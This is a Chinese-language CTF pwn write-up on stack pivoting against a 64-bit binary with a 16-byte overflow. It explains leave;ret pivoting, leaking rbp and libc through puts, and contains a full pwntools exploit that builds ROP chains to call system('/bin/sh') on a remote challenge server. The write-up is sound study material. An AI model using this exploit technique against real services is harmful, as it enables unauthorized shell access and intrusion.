关于栈迁移的一道题
准备步骤 ida检查,发现漏洞,在sub_400676()
中有16个字节的溢出
1 2 3 4 5 6 7 8 9 int sub_400676 () { char buf[80 ]; memset (buf, 0 , sizeof (buf)); putchar ('>' ); read(0 , buf, 96uLL ); return puts (buf); }
但这是64为程序,且溢出只能覆盖rbp
和返回地址,这就导致不能一次性构造参数并调用。我们可以考虑进行栈迁移 ,把执行流的栈转到别的地方。
栈迁移原理 条件 栈迁移主要是针对溢出长度不够,无法进行传参(比如本题只够覆盖rbp和返回地址),但需要可以覆盖到rbp以迁移栈。
关键指令 leave;ret;
leave
指令可以看成两条指令 mov rsp,rbp; pop rbp;
,可以看出这条指令原本是用来还原调用函数前的栈帧的,但如果我们提前改变rbp
的值,譬如,改成比现在 rsp
地址还低的位置(即栈的高处),那么在执行语句之后栈帧就在上方,可以利用之前在栈中写入的数据(题中的 buffer
)控制程序流程了。
如果不清楚的话,可再看看这篇文章:栈迁移的原理&&实战运用
构造payload 泄露rbp
因为我们要修改rbp
,所以我们要先知道原来rbp
的值,再在其基础上进一步修改。
1 2 3 4 print (conn.recv(1 )) payload1=b"a" *80 conn.send(payload1) old_rbp_addr=int .from_bytes(conn.recv()[80 :86 ],'little' )
如果rbp的低位中没有\x00
的话,puts就会将80个a和rbp
打印出来,截取6个字符是因为64位的栈从0x7f??????????
开始,前面有两个\x00
字符,puts打印不出来
泄露libc基址 我们gdb一下
1 2 3 4 5 gdb stack1 b *0x0000000000400710 r s n
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────── 0x400676 push rbp ► 0x400677 mov rbp, rsp 0x40067a sub rsp, 0x50 0x40067e lea rdx, [rbp - 0x50] 0x400682 mov eax, 0 0x400687 mov ecx, 0xa 0x40068c mov rdi, rdx 0x40068f rep stosq qword ptr [rdi], rax ↓ 0x40068f rep stosq qword ptr [rdi], rax ───────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffd7c0 —▸ 0x7fffffffd7e0 —▸ 0x400730 ◂— 0x41ff894156415741 01:0008│ 0x7fffffffd7c8 —▸ 0x400715 ◂— 0xb890f0eb0274c085 02:0010│ 0x7fffffffd7d0 —▸ 0x7fffffffd8c8 —▸ 0x7fffffffdb6f ◂— '/home/kali/ctf/pwn/q29_stack1/stack1' 03:0018│ 0x7fffffffd7d8 ◂— 0x100000000 04:0020│ rbp 0x7fffffffd7e0 —▸ 0x400730 ◂— 0x41ff894156415741 05:0028│ 0x7fffffffd7e8 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax 06:0030│ 0x7fffffffd7f0 ◂— 0x1 07:0038│ 0x7fffffffd7f8 —▸ 0x7fffffffd8c8 —▸ 0x7fffffffdb6f ◂— '/home/kali/ctf/pwn/q29_stack1/stack1'
其中0x7fffffffd7c8
是新建栈帧返回地址所在,0x7fffffffd7c0
是原来rbp地址所在,值为0x7fffffffd7e0
再加上buffer的0x50大小,就可以计算新rbp及栈顶的位置了
1 2 3 4 5 6 now_rbp_addr=old_rbp_addr-0x20 now_esp_addr=now_rbp_addr-0x50 return_addr2=0x0000000000400710 payload2=p64(now_rbp_addr)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(return_addr2)+b'a' *(0x50 -0x8 *5 )+p64(now_esp_addr)+p64(leave_addr) conn.send(payload2) puts_addr=int .from_bytes(conn.recvuntil(b'\x7f\x0a\x3e' )[-8 :-2 ],'little' )
这个payload将新栈帧转到原来的栈顶并执行传参和对puts的调用
Pwn it! 计算binsh和system真实地址
1 2 3 libcbase=puts_addr-puts_libc abinsh_addr=libcbase+abinsh_libc system_addr=libcbase+system_libc
与上一步相同的方法构造新栈帧
1 2 3 4 5 now_ebp_addr-=56 now_esp_addr=now_ebp_addr-0x50 payload3=b'a' *8 +p64(rdi_addr)+p64(abinsh_addr)+p64(system_addr)+b'a' *(0x50 -0x8 *4 )+p64(now_esp_addr)+p64(leave_addr) conn.send(payload3) conn.interactive()
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import * ip="124.16.75.117" port=51001 conn=connect(ip,port) libc=ELF('./pwn/q29_stack1/libc.so.6' ) puts_libc=libc.sym['puts' ] system_libc=libc.sym['system' ] abinsh_libc=libc.search(b'/bin/sh' ).__next__() context.log_level="debug" leave_addr=0x00000000004006BE rdi_addr=0x0000000000400793 puts_got=0x0000000000601020 puts_plt=0x0000000000400530 print ("111111111111111111111111" )print (conn.recv(1 )) payload1=b"a" *80 conn.send(payload1) old_ebp_addr=int .from_bytes(conn.recv()[80 :86 ],'little' )print (hex (old_ebp_addr))print ("222222222222222222222222" ) now_ebp_addr=old_ebp_addr-0x20 now_esp_addr=now_ebp_addr-0x50 return_addr2=0x0000000000400710 payload2=p64(now_ebp_addr)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(return_addr2)+b'a' *(0x50 -0x8 *5 )+p64(now_esp_addr)+p64(leave_addr) conn.send(payload2) puts_addr=int .from_bytes(conn.recvuntil(b'\x7f\x0a\x3e' )[-8 :-2 ],'little' ) libcbase=puts_addr-puts_libc abinsh_addr=libcbase+abinsh_libc system_addr=libcbase+system_libcprint (hex (puts_addr),hex (libcbase))print ("33333333333333333333333" ) now_ebp_addr-=56 now_esp_addr=now_ebp_addr-0x50 payload3=b'a' *8 +p64(rdi_addr)+p64(abinsh_addr)+p64(system_addr)+b'a' *(0x50 -0x8 *4 )+p64(now_esp_addr)+p64(leave_addr) conn.send(payload3) conn.interactive()